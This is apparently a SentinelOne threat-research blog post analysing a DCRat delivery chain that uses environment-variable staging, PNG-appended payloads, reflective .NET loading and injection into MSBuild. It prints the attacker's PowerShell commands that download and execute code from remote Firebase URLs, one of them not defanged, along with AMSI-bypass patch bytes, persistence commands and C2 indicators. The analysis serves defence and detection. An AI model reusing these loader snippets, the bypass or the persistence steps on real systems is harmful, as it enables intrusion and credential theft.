Skip to main content
Sentinel_Insider_hero
SentinelOne Insider

When Environment Variables Met Steganography: Inside a Reusable DCRat Delivery Chain

By Yashvi Shah

During the analysis of a recent malware sample, SentinelOne identified an anomalous execution chain, characterized by the combination of environment variable staging and steganographic payload delivery, culminating in the execution of a credential-stealing payload.

Introduction

Sometimes the most suspicious files are the ones that look the least suspicious. This attack chain begins with what appears to be a simple image download. Beneath the surface of these PNG files, though, sits a carefully hidden payload. The attacker conceals malicious code inside image files and uses a layered loader chain to extract, decode, and execute it entirely in memory. What starts as a simple script quickly becomes a complex execution chain involving steganography, an environment variable, reflective loading, and ultimately the deployment of a remote access trojan.

The chain opens with a ZIP archive containing an obfuscated VBS (Visual Basic Script). The VBS invokes PowerShell and creates an environment variable to stage encoded payload data. The PowerShell command line then retrieves two seemingly benign image files from remote URLs. Both carry hidden payloads appended to the image data.

The first image contains a DLL loader. The second carries an encoded executable payload. The DLL processes the second image, reconstructs the executable, and injects it into a legitimate .NET Framework process. From there, the malware runs in memory and performs activities such as AMSI bypass, C2 communication, and data exfiltration.

Attack Overview

The process tree below summarizes the key stages observed during dynamic analysis. The infection chain begins with a malicious VBS script (IMAGEN.vbs) that launches PowerShell to execute a payload pulled from an environment variable. It ultimately spawns MSBuild.exe as a LOLBin to run the final payload.

steg_fig_1.jpg
Figure 1: Process Tree

The detailed execution chain is illustrated below.

steg_fig_2.jpg
Figure 2: Attack chain overview

Initial Delivery: ZIP Archive and Obfuscated VBS Loader

The infection chain begins with a ZIP archive containing an obfuscated VBS. Once extracted and executed, the VBS script acts as the initial loader that prepares and executes the next stage of the attack.

At first glance, the script looks heavily obfuscated. It's full of repetitive string concatenation patterns and encoded data fragments. As shown in Figure 3, the script repeatedly appends decoded strings through a custom function, rebuilding a larger payload at runtime.

steg_fig_3.jpg
Figure 3: Original obfuscated VBS script containing repetitive encoded string

Deobfuscating the VBS

Remove the repetitive lines used to build the payload string, and the underlying logic gets clearer. As shown in Figure 4, the script defines several custom decoding functions that reconstruct the encoded data.

steg_fig_4.jpg
Figure 4: Partially deobfuscated VBS script

To simplify the script further, the special character strings such as "ᨱỻেख़⏍" and "QPP" were stripped by replacing them with empty strings. That cleanup step reveals the next level of the simplified script and exposes the actual execution logic the loader uses.

Leveraging Environment Variable

Once the placeholder characters are gone, the script reveals the command that executes the staged payload. As shown in Figure 5, it constructs a PowerShell command that retrieves and runs the content stored in a user-level environment variable.

steg_fig_5.jpg
Figure 5: Further simplified VBS script showing environment variable staging

The yellow highlighted section corresponds to the command line observed during execution of the VBS script. The script dynamically constructs the following PowerShell command:

powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "IEX $env:INTERNAL_DB_CACHE;[Environment]::SetEnvironmentVariable('INTERNAL_DB_CACHE',$null,'User')"

This command does two things. First, it executes the payload stored inside the environment variable using IEX $env:<variable>. Immediately after, it clears the variable using [Environment]::SetEnvironmentVariable, reducing the forensic artifacts left on the system.

The red highlighted section is the content written into the environment variable earlier in the script. At this stage, the payload is still encoded in hexadecimal, which is converted back to ASCII before execution.

In Figure 6, we convert this hexadecimal string into its ASCII form, revealing the PowerShell payload that ultimately runs through the environment variable.

steg_fig_6.jpg
Figure 6: Payload stored inside the environment variable

The environment variable doesn't only appear inside the script. The same artifact also shows up in the Windows registry. As shown in Figure 7, it's visible under the user environment variables registry key.

steg_fig_7.jpg
Figure 7: Registry artifact showing the environment variable

The registry entry holds the same encoded payload discussed above. That confirms the VBS script writes the staged PowerShell payload into an environment variable before executing it.

At first glance, this script also looks heavily cluttered and hard to read, thanks to extremely long variable names and encoded data blocks. Those elements are just another layer of obfuscation. They don't change what the script actually does.

Rename the variables and strip the clutter, and the core logic gets much clearer. The simplified version is shown in Figure 8.

steg_fig_8.jpg
Figure 8: Simplified PowerShell loader extracted from the environment variable

Downloading the Steganographic Payload

The first highlighted section (Box 1) in Figure 8 shows the script retrieving an image file from a remote Firebase storage URL.

$a='https://firebasestorage.googleapis.com/.../JAMAICA.png'

$b=New-Object Net.WebClient

$c=$b.DownloadData($a)

$d=[Text.Encoding]::UTF8.GetString($c)

The downloaded file, shown in Figure 9, looks like a legitimate image. Inspect it more closely, though, and it contains extra encoded data appended after the normal PNG content. The script extracts that data later.

steg_fig_9.jpg
Figure 9: First steganographic carrier image

The script downloads the PNG and immediately converts its contents into a UTF-8 string. It never treats the file as an image. It processes the downloaded data as text to locate the embedded payload hidden inside.

Locating the Hidden Payload

The next stage of the script defines two markers used to locate the hidden payload within the downloaded image.

$e='IN-'

$f='-in1'

As shown in Figure 8, these markers act as delimiters for the start and end of the embedded payload. The script searches the downloaded image data for the markers and extracts the content between them.

Figure 10 illustrates how the payload is appended to the PNG file.

steg_fig_10.jpg
Figure 10: Visualization of hidden payload embedded in the PNG file using markers

Traditional steganography hides data within image pixels. This sample takes a simpler route: it appends encoded payload data to the end of the PNG file. The marker IN- marks the start of the hidden payload, and -in1 marks the end.

Reconstructing the Hidden Payload

After extracting the encoded data between the markers, the script runs a series of transformations to reconstruct the original payload. This process is represented in Box 2 of Figure 8.

The extracted string goes through the following operations:

  1. The placeholder character # is replaced with A.
  2. The resulting string is converted into a character array.
  3. The array is reversed.
  4. The reconstructed string is Base64 decoded.

These steps produce a binary payload that loads directly into memory as a .NET assembly. The malware runs the next stage without ever writing a DLL to disk.

Retrieving the Payload

Finally, the script proceeds to the third highlighted section (Box 3) in Figure 8. Here, the loaded .NET assembly contacts another remote URL hosting a second image file with additional appended data.

Once the assembly loads, the PowerShell script invokes the DLL's entry point using reflective injection. Reflective .NET assembly injection lets a payload execute directly from memory, never written to disk. The typical execution flow is Assembly.Load(byte[]) → GetType() → GetMethod() → Invoke().

$n=[AppDomain]::CurrentDomain.Load($m) //$m has the binary

$p=$n.GetType('Fiber.Program')

$q=$p.GetMethod('Main')

$q.Invoke($NULL,[object[]]$o)

The decoded DLL in this sample is named Microsoft.Win32.TaskScheduler.dll, as shown in Figure 11.

steg_fig_11.jpg
Figure 11: Decompiled view of the .NET loader DLL

The assembly exposes a method named Main() inside the Fiber.Program class. It accepts a large number of parameters that control the loader's behavior.

As we saw in Figure 8, the following is passed as parameters while loading and invoking the DLL:

$o=@('https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/Sa%2Fluxo%2Fimg_144505.png?alt=media&token=d0a024ee-90c4-4e54-86d0-c3c42c7d09b4','','C:\Users\Public\Downloads\','Name_File','MSBuild','','MSBuild','','URL','C:\Users\Public\Downloads\','Name_File','vbs','1','','Task_Name','0','','','');

During execution, the PowerShell script constructs an array of arguments and passes it to the DLL. The parameters passed to the Main() method (shown in Figure 11) map as follows:

Parameter

Value passed

What it controls

encodedUrlPayload

hxxps://firebasestorage[.]googleapis[.]com/.../img_144505.png

Second carrier image holding the final executable

flagRegStartup

(empty)

Registry startup persistence toggle

vbsPath

C:\Users\Public\Downloads\

Drop path for a VBS helper

vbsName

Name_File

Filename for the VBS helper

clrPath

MSBuild

CLR host used for injection

nativeDllPath

(empty)

Optional native DLL path

nativeDllName

MSBuild

Target binary name

flagTaskPersistence

(empty)

Scheduled task persistence toggle

payloadUrl

URL

Secondary payload URL slot

outputPath

C:\Users\Public\Downloads\

Output directory

outputName

Name_File

Output filename

fileExt

vbs

Output extension

intervalMinutes

1

Scheduled task repeat interval

flagStartupTask

(empty)

Startup task toggle

schedulerTaskName

Task_Name

Scheduled task name

vmDetectionName

0

VM detection toggle

flagUacStart

(empty)

UAC bypass toggle

uacPayloadUrl

(empty)

Payload for the UAC bypass path

uacCommand

(empty)

Command for the UAC bypass path

The .NET loader then retrieves a second PNG image from a remote Firebase storage URL. The image, shown in Figure 12, looks visually benign but carries encoded data appended after the legitimate image content.

steg_fig_12.jpg
Figure 12: Second steganographic image

Analysis of Final Payload

Using the same extraction and decoding logic described earlier, the loader reconstructs the final executable payload from the embedded data. That payload is a .NET-based executable, shown in Figure 13, and it's injected into the legitimate Microsoft binary msbuild.exe. Running the malware under the context of a trusted system binary helps the attacker evade detection that relies on process reputation.

steg_fig_13.jpg
Figure 13: Decompiled view of the final executable payload injected into msbuild.exe

Anti-Analysis Checks

The payload runs a simple anti-analysis check to detect virtualized or sandboxed environments. As shown in Figure 14, the malware queries the WMI class Win32_CacheMemory using ManagementObjectSearcher. If the query returns no results, it assumes it's running in a virtualized environment and terminates execution using Environment.FailFast(null). Otherwise, execution continues after a brief delay.

steg_fig_14.jpg
Figure 14: Anti-analysis routine checking for virtualized environments

Process Monitoring and Security Tool Termination

The malware also enumerates and monitors running processes using Windows API functions such as CreateToolhelp32Snapshot, Process32First, and Process32Next. It compares process names against a predefined list of system monitoring and security-related tools. On a match, it attempts to terminate the process, likely to disrupt analysis and evade security monitoring.

steg_fig_15.jpg
Figure 15: Anti-process routine enumerating monitoring tools

Persistence Mechanism

The payload establishes persistence through the Install() routine. It first builds the intended installation path using Environment.ExpandEnvironmentVariables(Settings.Install_Folder), then checks whether the current process is already running from that location and terminates any duplicate instances.

With administrative privileges, it runs a hidden cmd.exe command containing a Base64-encoded string that decodes to a schtasks command (/c schtasks /create /f /sc onlogon /rl highest /tn). This creates a scheduled task that runs the payload at user logon with elevated privileges.

Without admin privileges, the malware falls back to registry persistence. It decodes another Base64 string to the path SOFTWARE\Microsoft\Windows\CurrentVersion\Run and creates a value pointing to the malware executable.

Finally, the malware writes itself to the installation path and launches a temporary batch script. The script starts the installed copy, then deletes itself. Execution continues from the persistence location while leaving minimal trace of the install.

steg_fig_16.jpg
Figure 16: Persistence routine

AMSI Bypass

The malware also implements an AMSI bypass to evade security monitoring. The code constructs Base64-encoded strings that resolve to amsi.dll (YW1zaS5kbGw=) and the function AmsiScanBuffer (QW1zaVNjYW5CdWZmZXI=), then loads them dynamically using LoadLibraryA and GetProcAddress.

It then prepares architecture-specific patch bytes stored in Base64 fragments: uFcAB4DD for 64-bit and uFcAB4DCGAA= for 32-bit. Decoded, these patches translate to assembly instructions that force the function to return the error code 0x80070057 (E_INVALIDARG) immediately. On 64-bit systems the patch runs mov eax, 0x80070057; ret. The 32-bit version runs mov eax, 0x80070057; ret 0x18 to handle stack cleanup.

Before applying the patch, the malware changes the memory permissions of the target function using VirtualAllocEx with PAGE_EXECUTE_READWRITE, which allows the function memory to be overwritten. It then writes the patch directly to the start of AmsiScanBuffer via Marshal.Copy, replacing the original scanning routine. From that point, any AMSI scan request returns an error, the content is never inspected, and AMSI-based detection is effectively disabled.

steg_fig_17.jpg
Figure 17: AMSI bypass implementation

C2 Communication

The malware establishes command-and-control (C2) communication through the InitializeClient() routine. It creates a TCP socket using System.Net.Sockets.Socket with the InterNetwork address family and TCP protocol. It then selects a C2 host and port from configuration values (Settings.Hos_ts and Settings.Por_ts), stored as comma-separated lists. A random entry is chosen at runtime, letting the malware rotate between multiple servers.

The selected domain is resolved using Dns.GetHostAddresses(). The malware iterates through the returned IP addresses until a connection succeeds via ClientSocket.TcpClient.Connect(address, port). In the analyzed sample, the domain 44444.dynuddns.com resolves to 94.154.35.160, and the malware connects over TCP port 444 (0x1BC). Once connected, it uses the socket to communicate with the remote C2 server.

steg_fig_18.jpg
Figure 18: Runtime view showing the resolved C2 infrastructure

Attribution

To identify potential malware family associations, we examined memory strings extracted while the sample was executing. As shown in Figure 19, several strings referencing "DCRat" (Dark Crystal RAT) were recovered from process memory.

steg_fig_19.jpg
Figure 19: Memory strings captured during runtime

This sample delivers DCRat, but the loading technique isn't tied to a single malware family. The combination of environment-variable payload staging, steganographic payload retrieval from images, and in-memory execution through process injection is a reusable delivery mechanism. The target process used for injection can vary by campaign. Similar techniques have been seen distributing a range of commodity malware families, including AgentTesla, Formbook, RemcosRAT, XWorm, and other information stealers and remote access trojans.

Protection and Detection

The Singularity Platform protects customers against this attack chain through behavioral detection and platform-level protections that continuously monitor runtime behavior to identify and block malicious activity. Autonomous Security Intelligence reads the techniques observed here, environment-variable payload staging, script-driven execution, and in-memory process injection, and stops the attack at multiple stages.

The platform stays resilient against evolving threats and emerging techniques. It combines static insights with behavioral signals to adapt to new variations of similar attack chains and to previously unseen techniques. Protection holds even as adversaries change their tooling and delivery methods.

Conclusion

This analysis walks through a multi-stage infection chain that combines several evasion techniques to deliver its final payload. The attack begins with an obfuscated VBS loader that stages a PowerShell payload inside an environment variable, then executes it. The PowerShell script retrieves seemingly benign PNG images carrying appended malicious data, and additional payloads are reconstructed and executed in memory.

This sample delivered DCRat, but the loader technique isn't limited to a single malware family. Environment-variable staging, steganographic payload delivery, and process injection combine into a reusable mechanism that can deploy a range of commodity malware families.

SentinelOne customers are protected against these techniques by the dynamic detection engine at the endpoint. It uses both static and behavioral analysis to identify and block malicious activity across every stage of the attack chain, including emerging variations of similar TTPs.

Indicators of Compromise (IoCs)

zip

72108b540966e53754500c5d535e74374cc015e7b8eb500999627696c0ea792b

vbs

db8e3e9ce183b62bab557114b8e9a46ef186af4fffb77c41332ce81025a82311

Url A

hxxps://firebasestorage[.]googleapis[.]com/v0/b/sadam-bda08[.]firebasestorage[.]app/o/Sa%2Fluxo%2FJAMAICA[.]png?alt=media&token=a7f812cf-2ee4-4c99-a356-85643bea81fb 

Url B

hxxps://firebasestorage[.]googleapis[.]com/v0/b/sadam-bda08[.]firebasestorage[.]app/o/Sa%2Fluxo%2Fimg_144505[.]png?alt=media&token=d0a024ee-90c4-4e54-86d0-c3c42c7d09b4 

Image A

95e6c6c13f65217f41c371abf6d03594b2bfed2259a1813bb4222fb2d3c32745

Image B

440ac3252585edd8915ee5c32d08f7512386402025b7a66ab447a99b116b17bc

DLL

53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b

Exe

68a539939846e3cd19589a2e54d650db83e350f21010dabc84739c477af0bd37

C2

94.154.35[.]160

Domain

44444.dynuddns[.]com

Decorative background gradient

Subscribe

Get the Latest From the SentinelOne Blog